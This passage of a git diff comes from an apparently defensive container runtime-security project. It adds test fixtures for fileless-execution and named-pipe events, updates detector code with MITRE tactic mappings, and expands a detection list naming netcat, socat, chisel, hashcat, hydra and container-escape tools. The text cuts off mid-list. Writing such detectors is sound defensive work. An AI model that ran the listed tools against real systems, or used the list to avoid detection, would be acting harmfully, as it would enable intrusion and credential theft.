+ "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1919900, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null, + "in_init_tree": false + }, + "parent": { + "exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODA3MTQ2MjM2MjUzMTYzMToxOTE5MjAw", + "pid": 1919200, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2025-12-10T08:22:40.692800397Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://35ae39802175a6d328218c2d35d878bf0402b37a229ee28b2960161c567eca5d", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:7e5bc0e499a8d50cb1e32287944a90b9ec8fd7d500673e75daff3f52882f5798", + "name": "docker.io/library/debian:12" + }, + "start_time": "2025-12-10T07:50:30Z", + "pid": 45, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "35ae39802175a6d328218c2d35d878b", + "parent_exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODA3MTQ2MjM2MTU0OTAwNjoxOTE5MjAw", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533802, + "is_host": false + }, + "ipc": { + "inum": 4026533803, + "is_host": false + }, + "mnt": { + "inum": 4026533805, + "is_host": false + }, + "pid": { + "inum": 4026533806, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533806, + "is_host": false + }, + "net": { + "inum": 4026533163, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533807, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1919200, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null, + "in_init_tree": false + }, + "function_name": "security_path_mknod", + "args": [ + { + "path_arg": { + "mount": "", + "path": "/tmp/fifo-test", + "flags": "", + "permission": "---------" + }, + "label": "new file path" + }, + { + "uint_arg": 4534, + "label": "new file mode" + } + ], + "return": null, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "io-streams", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "vsh-k8s.appsec-stand.runtime-radar.dev", + "time": "2025-12-10T08:23:14.410150687Z", + "aggregation_info": null, + "cluster_name": "" + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_FIFO_FILE_CREATE", + "severity": "HIGH", + "reason_contains": "named pipe file", + "tactics": [ + "TA0002" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_FILELESS_EXEC/main.go b/event-processor/detector/wasm/CS_RT_FILELESS_EXEC/main.go index c2e12680..34cd8bfc 100644 --- a/event-processor/detector/wasm/CS_RT_FILELESS_EXEC/main.go +++ b/event-processor/detector/wasm/CS_RT_FILELESS_EXEC/main.go @@ -4,6 +4,7 @@ package main import ( "context" + "fmt" "github.com/runtime-radar/runtime-radar/event-processor/detector/api" "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" @@ -18,6 +19,11 @@ const ( License = "Apache License 2.0" ) +const ( + ExecNoArgs = "Detected that a fileless process with PID `%d` was executed by the `%s` parent process" + ExecDefault = "Detected that a fileless process with PID `%d` was executed by the `%s` parent process, which was started using the `%s` arguments" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -36,8 +42,20 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0005", + Techniques: []string{ + "T1070.004", + "T1027.011", + }, + }, + } +) + +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -45,12 +63,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -80,11 +99,20 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe switch ev := event.(type) { case *tetragon.GetEventsResponse_ProcessExec: exec := ev.ProcessExec + pid := exec.GetProcess().GetPid().GetValue() + parentBinary := exec.GetParent().GetBinary() + parentArgs := exec.GetParent().GetArguments() inode := exec.GetProcess().GetBinaryProperties().GetFile().GetInode() if inode != nil { - binLinks := exec.GetProcess().GetBinaryProperties().GetFile().GetInode().GetLinks().GetValue() + binLinks := inode.GetLinks().GetValue() if binLinks == 0 { + resp.TacticsCovered = mitreTactics + if parentArgs == "" { + resp.Reason = fmt.Sprintf(ExecNoArgs, pid, parentBinary) + } else { + resp.Reason = fmt.Sprintf(ExecDefault, pid, parentBinary, parentArgs) + } resp.Severity = api.DetectResp_MEDIUM // <-- threat detected return resp, nil @@ -104,276 +132,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_exec": { - "process": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZToxMDI5MDcyMTQxNTA0NTUwOjEyODczODg=", - "pid": 1287388, - "uid": 0, - "cwd": "/root/fileless", - "binary": "/proc/self/fd/4", - "arguments": "", - "flags": "execve", - "start_time": "2025-07-07T12:14:01.263533986Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://7bcd23290beff948c1f9516218d1e8ae7c21a754ca6c00ac7e261a14e12e989d", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-06-25T14:24:35Z", - "pid": 5592, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "7bcd23290beff948c1f9516218d1e8a", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToxMDI5MDcyMTM3NzQ5ODI1OjEyODczODg=", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533911, - "is_host": false - }, - "ipc": { - "inum": 4026533912, - "is_host": false - }, - "mnt": { - "inum": 4026533914, - "is_host": false - }, - "pid": { - "inum": 4026533915, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533915, - "is_host": false - }, - "net": { - "inum": 4026533829, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533916, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1287388, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": { - "setuid": null, - "setgid": null, - "privileges_changed": [], - "file": { - "inode": { - "number": "202749", - "links": 0 - }, - "path": "" - } - }, - "user": null - }, - "parent": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZToxMDI5MDcyMTM3NzQ5ODI1OjEyODczODg=", - "pid": 1287388, - "uid": 0, - "cwd": "/root/fileless", - "binary": "/root/fileless/fileless", - "arguments": "memfd", - "flags": "execve clone", - "start_time": "2025-07-07T12:14:01.259780503Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://7bcd23290beff948c1f9516218d1e8ae7c21a754ca6c00ac7e261a14e12e989d", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-06-25T14:24:35Z", - "pid": 5592, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "7bcd23290beff948c1f9516218d1e8a", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToxMDI4MjY0NDU5ODM2NDkzOjEyNjIxODQ=", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533911, - "is_host": false - }, - "ipc": { - "inum": 4026533912, - "is_host": false - }, - "mnt": { - "inum": 4026533914, - "is_host": false - }, - "pid": { - "inum": 4026533915, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533915, - "is_host": false - }, - "net": { - "inum": 4026533829, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533916, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1287388, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "ancestors": [] - }, - "node_name": "cs-master-node", - "time": "2025-07-07T12:14:01.263533522Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_FILELESS_EXEC/testdata/negative_with_links.json b/event-processor/detector/wasm/CS_RT_FILELESS_EXEC/testdata/negative_with_links.json new file mode 100644 index 00000000..bd3a1995 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_FILELESS_EXEC/testdata/negative_with_links.json @@ -0,0 +1,32 @@ +{ + "event": { + "process_exec": { + "process": { + "pid": 12345, + "binary": "/usr/bin/python3", + "arguments": "main.py", + "binary_properties": { + "file": { + "inode": { + "number": "202749", + "links": 1 + }, + "path": "/usr/bin/python3" + } + } + } + }, + "node_name": "test-node", + "time": "2025-07-07T12:14:01.263533986Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_FILELESS_EXEC/testdata/positive_memfd_exec.json b/event-processor/detector/wasm/CS_RT_FILELESS_EXEC/testdata/positive_memfd_exec.json new file mode 100644 index 00000000..cb8a483b --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_FILELESS_EXEC/testdata/positive_memfd_exec.json @@ -0,0 +1,288 @@ +{ + "event": { + "process_exec": { + "process": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZToxMDI5MDcyMTQxNTA0NTUwOjEyODczODg=", + "pid": 1287388, + "uid": 0, + "cwd": "/root/fileless", + "binary": "/proc/self/fd/4", + "arguments": "", + "flags": "execve", + "start_time": "2025-07-07T12:14:01.263533986Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://7bcd23290beff948c1f9516218d1e8ae7c21a754ca6c00ac7e261a14e12e989d", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2025-06-25T14:24:35Z", + "pid": 5592, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "7bcd23290beff948c1f9516218d1e8a", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToxMDI5MDcyMTM3NzQ5ODI1OjEyODczODg=", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533911, + "is_host": false + }, + "ipc": { + "inum": 4026533912, + "is_host": false + }, + "mnt": { + "inum": 4026533914, + "is_host": false + }, + "pid": { + "inum": 4026533915, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533915, + "is_host": false + }, + "net": { + "inum": 4026533829, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533916, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1287388, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": { + "setuid": null, + "setgid": null, + "privileges_changed": [], + "file": { + "inode": { + "number": "202749", + "links": 0 + }, + "path": "" + } + }, + "user": null + }, + "parent": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZToxMDI5MDcyMTM3NzQ5ODI1OjEyODczODg=", + "pid": 1287388, + "uid": 0, + "cwd": "/root/fileless", + "binary": "/root/fileless/fileless", + "arguments": "memfd", + "flags": "execve clone", + "start_time": "2025-07-07T12:14:01.259780503Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://7bcd23290beff948c1f9516218d1e8ae7c21a754ca6c00ac7e261a14e12e989d", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2025-06-25T14:24:35Z", + "pid": 5592, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "7bcd23290beff948c1f9516218d1e8a", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToxMDI4MjY0NDU5ODM2NDkzOjEyNjIxODQ=", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533911, + "is_host": false + }, + "ipc": { + "inum": 4026533912, + "is_host": false + }, + "mnt": { + "inum": 4026533914, + "is_host": false + }, + "pid": { + "inum": 4026533915, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533915, + "is_host": false + }, + "net": { + "inum": 4026533829, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533916, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1287388, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "ancestors": [] + }, + "node_name": "test-master-node", + "time": "2025-07-07T12:14:01.263533522Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_FILELESS_EXEC", + "severity": "MEDIUM", + "reason_contains": "fileless process", + "tactics": [ + "TA0005" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "MEDIUM", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_HACK_TOOLS/main.go b/event-processor/detector/wasm/CS_RT_HACK_TOOLS/main.go index 74fde3ee..48355bae 100644 --- a/event-processor/detector/wasm/CS_RT_HACK_TOOLS/main.go +++ b/event-processor/detector/wasm/CS_RT_HACK_TOOLS/main.go @@ -4,6 +4,7 @@ package main import ( "context" + "fmt" "github.com/gobwas/glob" "github.com/runtime-radar/runtime-radar/event-processor/detector/api" @@ -13,11 +14,55 @@ import ( const ( ID = "CS_RT_HACK_TOOLS" Name = "Hacking tools" - Description = "The detector detects if any known hacking tools were started, such as nmap, netcat, and peirates. In addition, the detector detects startup of utilities that are not used directly for hacking but help to identify suspicious activity, such as id or whoami. The latter functionality may be removed in future versions of the detector." - Version = 1 + Description = "The detector detects startups of tools typically associated with malicious activities, such as automated exploitation of known vulnerabilities, brute-force attacks, reconnaissance, and information collection." + Version = 2 Author = "Runtime Radar Team" + License = "Apache License 2.0" +) - License = "Apache License 2.0" +const ( + ExecAccountDiscoveryToolsNoArgs = "Detected that the account discovery tool `%s` was started" + ExecAccountDiscoveryToolsDefault = "Detected that the account discovery tool `%s` was started using the `%s` arguments" + ExecBruteforceToolsNoArgs = "Detected that the bruteforcing tool `%s` was started" + ExecBruteforceToolsDefault = "Detected that the bruteforcing tool `%s` was started using the `%s` arguments" + ExecContainersToolsNoArgs = "Detected that the `%s` tool for exploiting the container infrastructure was started" + ExecContainersToolsDefault = "Detected that the `%s` tool for exploiting the container infrastructure was started using the `%s` arguments" + ExecDataRemovalToolsNoArgs = "Detected that the data removal tool `%s` was started" + ExecDataRemovalToolsDefault = "Detected that the data removal tool `%s` was started using the `%s` arguments" + ExecDnsToolsNoArgs = "Detected that the DNS management tool `%s` was started" + ExecDnsToolsDefault = "Detected that the DNS management tool `%s` was started using the `%s` arguments" + ExecFilelessExecToolsNoArgs = "Detected that the `%s` tool for fileless process execution was started" + ExecFilelessExecToolsDefault = "Detected that the `%s` tool for fileless process execution was started using the `%s` arguments" + ExecLdapToolsNoArgs = "Detected that the LDAP management tool `%s` was started" + ExecLdapToolsDefault = "Detected that the LDAP management tool `%s` was started using the `%s` arguments" + ExecMitmToolsNoArgs = "Detected that the MITM attack tool `%s` was started" + ExecMitmToolsDefault = "Detected that the MITM attack tool `%s` was started using the `%s` arguments" + ExecNetcatLikeToolsNoArgs = "Detected that the netcat tool `%s` or a similar tool was started" + ExecNetcatLikeToolsDefault = "Detected that the netcat tool `%s` or a similar tool was started using the `%s` arguments" + ExecNetworkScannersNoArgs = "Detected that the network scanner `%s` was started" + ExecNetworkScannersDefault = "Detected that the network scanner `%s` was started using the `%s` arguments" + ExecNetworkTrafficToolsNoArgs = "Detected that the network traffic management tool `%s` was started" + ExecNetworkTrafficToolsDefault = "Detected that the network traffic management tool `%s` was started using the `%s` arguments" + ExecPentestToolsNoArgs = "Detected that the pentesting tool `%s` was started" + ExecPentestToolsDefault = "Detected that the pentesting tool `%s` was started using the `%s` arguments" + ExecPostExploitationToolsNoArgs = "Detected that the postexploitation tool `%s` was started" + ExecPostExploitationToolsDefault = "Detected that the postexploitation tool `%s` was started using the `%s` arguments" + ExecPrivilegeEscalationToolsNoArgs = "Detected that the privilege escalation tool `%s` was started" + ExecPrivilegeEscalationToolsDefault = "Detected that the privilege escalation tool `%s` was started using the `%s` arguments" + ExecProxyToolsNoArgs = "Detected that the `%s` tool for proxying and tunneling connections was started" + ExecProxyToolsDefault = "Detected that the `%s` tool for proxying and tunneling connections was started using the `%s` arguments" + ExecSocialEngineeringToolsNoArgs = "Detected that the `%s` tool for social engineering was started" + ExecSocialEngineeringToolsDefault = "Detected that the `%s` tool for social engineering was started using the `%s` arguments" + ExecSqlToolsNoArgs = "Detected that the SQL management tool `%s` was started" + ExecSqlToolsDefault = "Detected that the SQL management tool `%s` was started using the `%s` arguments" + ExecSystemInfoDiscoveryToolsNoArgs = "Detected that the system discovery tool `%s` was started" + ExecSystemInfoDiscoveryToolsDefault = "Detected that the system discovery tool `%s` was started using the `%s` arguments" + ExecWebToolsNoArgs = "Detected that the web application management tool `%s` was started" + ExecWebToolsDefault = "Detected that the web application management tool `%s` was started using the `%s` arguments" + ExecWifiToolsNoArgs = "Detected that the Wi-Fi management tool `%s` was started" + ExecWifiToolsDefault = "Detected that the Wi-Fi management tool `%s` was started using the `%s` arguments" + ExecWindowsToolsNoArgs = "Detected that the Windows management tool `%s` was started" + ExecWindowsToolsDefault = "Detected that the Windows management tool `%s` was started using the `%s` arguments" ) var ( @@ -39,65 +84,299 @@ var ( ) var ( - hackTools = []glob.Glob{ - // sudo and su a rarely used in runtime, containers are either rooted or rootless with no need to escalate privileges for a normal user. - glob.MustCompile("*/sudo"), - glob.MustCompile("*/su"), - - // These tools are supposed to be mostly malicious in general or in the context of containers and k8s environment. - glob.MustCompile("*/nc"), - glob.MustCompile("*/netcat"), - glob.MustCompile("*/ncat"), - glob.MustCompile("*/curl"), - glob.MustCompile("*/wget"), - glob.MustCompile("*/nmap"), - glob.MustCompile("*/vanish"), - glob.MustCompile("*/vanish[0-9]"), - glob.MustCompile("*/peirates"), - glob.MustCompile("*/linpeas.sh"), - glob.MustCompile("*/nsenter"), - glob.MustCompile("*/unshare"), - glob.MustCompile("*/kubectl"), - glob.MustCompile("*/arp"), - glob.MustCompile("*/dd"), - glob.MustCompile("*/ftp"), - glob.MustCompile("*/svn"), - glob.MustCompile("*/git-remote-*"), - - // Anything run from /tmp is a hack tool by definition, right? - glob.MustCompile("/tmp/*"), - - // Networking and pivoting - glob.MustCompile("*/socat"), - glob.MustCompile("*/chisel"), - glob.MustCompile("*/proxychains"), - glob.MustCompile("*/ssf"), - glob.MustCompile("*/ssfd"), - glob.MustCompile("*/sshuttle"), - glob.MustCompile("*/proxy"), // ligolo-ng - glob.MustCompile("*/agent"), // ligolo-ng - glob.MustCompile("*/gost"), - glob.MustCompile("*/3proxy"), + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1609", + "T1053.007", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1098.006", + "T1543", + "T1543.005", + "T1053.007", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1548.001", + "T1098.006", + "T1543", + "T1543.005", + "T1611", + "T1068", + "T1053.007", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1548.001", + "T1036.005", + }, + }, + { + Id: "TA0006", + Techniques: []string{ + "T1552.007", + }, + }, + { + Id: "TA0007", + Techniques: []string{ + "T1613", + "T1069.002", + "T1016.001", + "T1049", + "T1033", + }, + }, + { + Id: "TA0040", + Techniques: []string{ + "T1485", + }, + }, + } + + mitreTacticsContainers = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1609", + "T1053.007", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1098.006", + "T1543.005", + "T1053.007", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1098.006", + "T1543.005", + "T1611", + "T1068", + "T1053.007", + }, + }, + { + Id: "TA0006", + Techniques: []string{ + "T1552.007", + }, + }, + { + Id: "TA0007", + Techniques: []string{ + "T1613", + }, + }, + } + + mitreTacticsLdap = []*api.MitreTactic{ + { + Id: "TA0007", + Techniques: []string{ + "T1069.002", + }, + }, + } + + mitreTacticsDataRemoval = []*api.MitreTactic{ + { + Id: "TA0040", + Techniques: []string{ + "T1485", + }, + }, } +) + +type hackTool struct { + pattern glob.Glob + url string + class string +} + +var ( + hackTools = []hackTool{ + // Account discovery tools + {pattern: glob.MustCompile("*/hashcat"), url: "https://hashcat.net/hashcat/", class: "AccountDiscovery"}, + {pattern: glob.MustCompile("*/patator*"), url: "https://github.com/lanjelot/patator", class: "AccountDiscovery"}, + {pattern: glob.MustCompile("*/unshadow"), url: "https://manpages.ubuntu.com/manpages/noble/man8/unshadow.8.html", class: "AccountDiscovery"}, + + // Bruteforce tools + {pattern: glob.MustCompile("*/enumiax"), url: "https://github.com/foreni-packages/enumiax", class: "Bruteforce"}, + {pattern: glob.MustCompile("*/hydra"), url: "https://github.com/vanhauser-thc/thc-hydra", class: "Bruteforce"}, + {pattern: glob.MustCompile("*/sshprank"), url: "https://github.com/noptrix/sshprank", class: "Bruteforce"}, + + // Containers tools + {pattern: glob.MustCompile("*/cdk"), url: "https://github.com/cdk-team/CDK", class: "Containers"}, + {pattern: glob.MustCompile("*/deepce*"), url: "https://github.com/stealthcopter/deepce", class: "Containers"}, + {pattern: glob.MustCompile("*/k8spider*"), url: "https://github.com/Esonhugh/k8spider", class: "Containers"}, + {pattern: glob.MustCompile("*/kdigger*"), url: "https://github.com/quarkslab/kdigger", class: "Containers"}, + {pattern: glob.MustCompile("*/peirates"), url: "https://github.com/inguardians/peirates", class: "Containers"}, + + // Data removal tools + {pattern: glob.MustCompile("*/vanish*"), url: "https://dwukn.vercel.app/projects/vanish", class: "DataRemoval"}, + {pattern: glob.MustCompile("*/vanish[0-9]*"), url: "https://dwukn.vercel.app/projects/vanish", class: "DataRemoval"}, + {pattern: glob.MustCompile("*/vx"), url: "https://dwukn.vercel.app/projects/vanish", class: "DataRemoval"}, + + // DNS tools + {pattern: glob.MustCompile("*/dnsenum"), url: "https://github.com/SparrowOchon/dnsenum2", class: "DNS"}, + {pattern: glob.MustCompile("*/dnsmap"), url: "https://github.com/resurrecting-open-source-projects/dnsmap", class: "DNS"}, + {pattern: glob.MustCompile("*/dnsrecon"), url: "https://github.com/darkoperator/dnsrecon", class: "DNS"}, + {pattern: glob.MustCompile("*/sonar*"), url: "https://github.com/jrozner/sonar", class: "DNS"}, + + // Fileless execution tools + {pattern: glob.MustCompile("*/fee"), url: "https://pypi.org/project/fee/", class: "FilelessExecution"}, + + // LDAP tools + {pattern: glob.MustCompile("*/ldapper"), url: "https://github.com/Synzack/ldapper", class: "LDAP"}, + + // MITM tools + {pattern: 